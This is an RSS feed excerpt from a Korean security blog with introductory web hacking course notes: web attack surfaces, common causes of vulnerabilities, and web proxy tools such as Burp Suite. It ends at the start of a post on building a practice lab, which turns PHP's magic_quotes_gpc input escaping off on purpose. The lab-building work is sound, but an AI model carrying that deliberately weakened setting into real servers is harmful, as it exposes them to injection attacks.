&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/crehacktive3/221954903403&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://blog.naver.com/crehacktive3/221954903403&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://youtu.be/JhF-Z_w7xkI&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://youtu.be/JhF-Z_w7xkI&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>burp suite</category>
      <category>버프스위트</category>
      <category>웹 프록시</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/203</guid>
      <comments>https://it-log.tistory.com/203#entry203comment</comments>
      <pubDate>Tue, 26 Nov 2024 22:30:59 +0900</pubDate>
    </item>
    <item>
      <title>웹 해킹에 대한 이해</title>
      <link>https://it-log.tistory.com/202</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;웹 해킹이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;웹 서비스 상에서 발생될 수 있는 모든 보안 허점을 이용해 악의적인 행위를 하는 것&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;= 웹 어플리케이션 해킹&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 어플리케이션이란?&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;= 웹 프로그래밍 언어(JSP, PHP, ASP 등)로 작성된 프로그램, 어플리케이션&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;= 웹 브라우저를 통해서 방문하는 웹 사이트&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;804&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sceUZ/btsKSjG4Q2J/HjmtyBGdZHrSDSYN0iymtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sceUZ/btsKSjG4Q2J/HjmtyBGdZHrSDSYN0iymtK/img.png&quot; data-alt=&quot;그림1 - 웹 해킹&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sceUZ/btsKSjG4Q2J/HjmtyBGdZHrSDSYN0iymtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsceUZ%2FbtsKSjG4Q2J%2FHjmtyBGdZHrSDSYN0iymtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;804&quot; height=&quot;292&quot; data-origin-width=&quot;804&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 웹 해킹&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;해커들의 타겟, 웹 서비스&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;방화벽 도입 후 웹 해킹 빈도가 높아졌다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;방화벽은 IP와 Port를 기반으로 패킷을 필터링 한다. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;rarr; OSI 7계층의 3,4계층&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 서비스(대외 서비스) : HTTP(80), HTTPS(443)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;그 외 서비스: SSH(22), Telnet(23), FTP(21) 등&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 서비스를 제외한 나머지 서비스는 굳이 필요하지 않으므로 방화벽에서 차단한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;그러므로 웹 서비스에 대한 공격이 들어올 수 밖에 없고, 그에 대한 연구가 진행될 수 밖에 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;rarr; 웹 해킹&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;749&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IyBgH/btsKRRdcAVV/vgcKZEkgUuJBmoPWZp15dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IyBgH/btsKRRdcAVV/vgcKZEkgUuJBmoPWZp15dk/img.png&quot; data-alt=&quot;그림2 - 웹 서비스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IyBgH/btsKRRdcAVV/vgcKZEkgUuJBmoPWZp15dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIyBgH%2FbtsKRRdcAVV%2FvgcKZEkgUuJBmoPWZp15dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1353&quot; height=&quot;749&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;749&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 웹 서비스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 해킹을 통한 피해 영역&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;클라이언트 영역 &amp;rarr; XSS&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;1차 침투(대외 서비스) &amp;rarr; 웹 해킹, 데이터베이스 열람 및 개인정보 탈취&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;2차 침투(대내 서비스) &amp;rarr; 터널링을 통한 침투, 대내 서비스 웹 해킹(&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;기업 내 중요정보, 대외비 정보, &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;직원 정보 등)&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;3차 침투(오피스 망) &amp;rarr; 개인 PC에 랜섬웨어, 악성코드 감염&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1459&quot; data-origin-height=&quot;819&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9j02U/btsKSvnc8iq/YJ2VEgYYGhXq9AjpKf9Ma0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9j02U/btsKSvnc8iq/YJ2VEgYYGhXq9AjpKf9Ma0/img.png&quot; data-alt=&quot;그림3 - 웹 해킹을 통한 피해 영역&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9j02U/btsKSvnc8iq/YJ2VEgYYGhXq9AjpKf9Ma0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9j02U%2FbtsKSvnc8iq%2FYJ2VEgYYGhXq9AjpKf9Ma0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1459&quot; height=&quot;819&quot; data-origin-width=&quot;1459&quot; data-origin-height=&quot;819&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 웹 해킹을 통한 피해 영역&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 해킹이 발생하는 원인&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;입력 값 검증 부재 &amp;rarr; Injection, XSS&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;취약한 인증 및 접근 통제 &amp;rarr; 비인가자에 의한 관리자 페이지 접근&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;중요정보 노출 &amp;rarr; 웹 프록시 도구를 통한 중요정보 노출, 웹 서버 자체의 과도한 에러 메시지&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;부적절한 설정 &amp;rarr; 세션 타임아웃&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;서버/프레임워크 취약점 &amp;rarr; WAS(IIS, WebLogic, JEUS)취약점, &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;Apache Struts 취약점, WEB-INF&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;설계 오류 &amp;rarr; 설계 자체 오류에 의한 취약점&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnKBlZ/btsKSHhbGo0/IGeuJpLCpW3OJuK7vrnPtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnKBlZ/btsKSHhbGo0/IGeuJpLCpW3OJuK7vrnPtK/img.png&quot; data-alt=&quot;그림4 - 웹 해킹이 발생하는 원인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnKBlZ/btsKSHhbGo0/IGeuJpLCpW3OJuK7vrnPtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnKBlZ%2FbtsKSHhbGo0%2FIGeuJpLCpW3OJuK7vrnPtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1233&quot; height=&quot;640&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 웹 해킹이 발생하는 원인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 해킹 필수 도구, 웹 프록시&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;프록시란 무엇인가?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- 클라이언트와 서버의 통신 구간 중간에 위치하여 중계자 역할을 한다.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- &lt;b&gt;대리로 통신을 수행하는 기능&lt;/b&gt;을 가진다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;클라이언트(요청) - 서버(응답) 직접 통신하는 경우도 있지만, 중간에 프록시를 거쳐서 통신하는 경우도 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;프록시 종류&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- Forward, Reverse, Open&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1214&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bivbj3/btsKUhVR5sO/SxFJrnLzUkcO6y6rP51jLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bivbj3/btsKUhVR5sO/SxFJrnLzUkcO6y6rP51jLk/img.png&quot; data-alt=&quot;그림5 - 프록시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bivbj3/btsKUhVR5sO/SxFJrnLzUkcO6y6rP51jLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbivbj3%2FbtsKUhVR5sO%2FSxFJrnLzUkcO6y6rP51jLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1214&quot; height=&quot;125&quot; data-origin-width=&quot;1214&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 프록시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 프록시 구조&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 프록시란? &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- 웹 통신을 할때 사용되는 프록시&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 프록시를 통한 통신 순서&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;1. 브라우저에서 프록시 설정을 통해 웹 프록시로 요청을 보낸다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;2. 웹 프록시가 요청 메시지를 받은 후 서버로 전달한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;3. 서버의 응답을 웹 프록시가 받은 후 브라우저로 전달한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 해킹 시 웹 브라우저에서 전달되는 요청 메시지의 특정값을 변조하거나, 서버에서 전달되는 응답 메시지를 변조한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- 웹 프록시 도구를 통해 클라이언트의 요청 메시지를 수정한다. (파라미터, 쿠키)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;- 웹 프록시 도구를 통해 서버의 응답 메시지를 수정한다. (바디 값)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1291&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyvHDN/btsKT3XLoMX/z3tcmlkCt4OhytScwnYEC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyvHDN/btsKT3XLoMX/z3tcmlkCt4OhytScwnYEC0/img.png&quot; data-alt=&quot;그림6 - 웹 프록시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyvHDN/btsKT3XLoMX/z3tcmlkCt4OhytScwnYEC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyvHDN%2FbtsKT3XLoMX%2Fz3tcmlkCt4OhytScwnYEC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1291&quot; height=&quot;659&quot; data-origin-width=&quot;1291&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 웹 프록시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;웹 프록시 종류&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;버프 스위트(Burp Suite): 가장 많이 사용되는 웹 프록시로 다양한 확장 기능을 사용할 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파로스(Paros): 간단한 인터페이스로 입문자 용으로 적합하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피들러(Fiddler): 개발자들이 많이 사용하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ZAP: OWASP 프로젝트에서 제공되는 웹 프록시로 점차 사용자가 늘고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; &lt;b&gt;웹 브라우저를 믿지 말라.&lt;/b&gt;&amp;nbsp; 오직 웹 프록시 요청에 의한 응답만을 믿어라.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 브라우저는 디테일한 보안 테스팅이 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 프록시 도구를 활용하여 상세 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/202</guid>
      <comments>https://it-log.tistory.com/202#entry202comment</comments>
      <pubDate>Sat, 23 Nov 2024 22:00:26 +0900</pubDate>
    </item>
    <item>
      <title>취약 환경 구축</title>
      <link>https://it-log.tistory.com/201</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약 환경 구축&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 XAMPP를 APM Setup 대신 사용하여 MySQL 실습을 진행하였으나, XAMPP로 취약 환경 구축 시 강의와 환경이 달라 에러가 발생하여, 강의와 동일한 환경 구축을 위해서 APM Setup으로 환경 구축을 다시한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biflBm/btsKRaCvy26/ybp8y7eTcXAxOchxEovVdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biflBm/btsKRaCvy26/ybp8y7eTcXAxOchxEovVdK/img.png&quot; data-alt=&quot;그림1 - APM Setup 설치 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biflBm/btsKRaCvy26/ybp8y7eTcXAxOchxEovVdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiflBm%2FbtsKRaCvy26%2Fybp8y7eTcXAxOchxEovVdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;518&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - APM Setup 설치 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 후 C:\APM_Setup 경로의 php.ini 파일 내 magic_quotes_gpc 를 Off 로 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;magic_quotes_gpc는 GET, POST, 쿠키 등 사용자 입력값을 이스케이프 처리를 해준다는 의미다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' 를 입력하면 \' 가 출력된다는 의미이다.&lt;/p&gt;
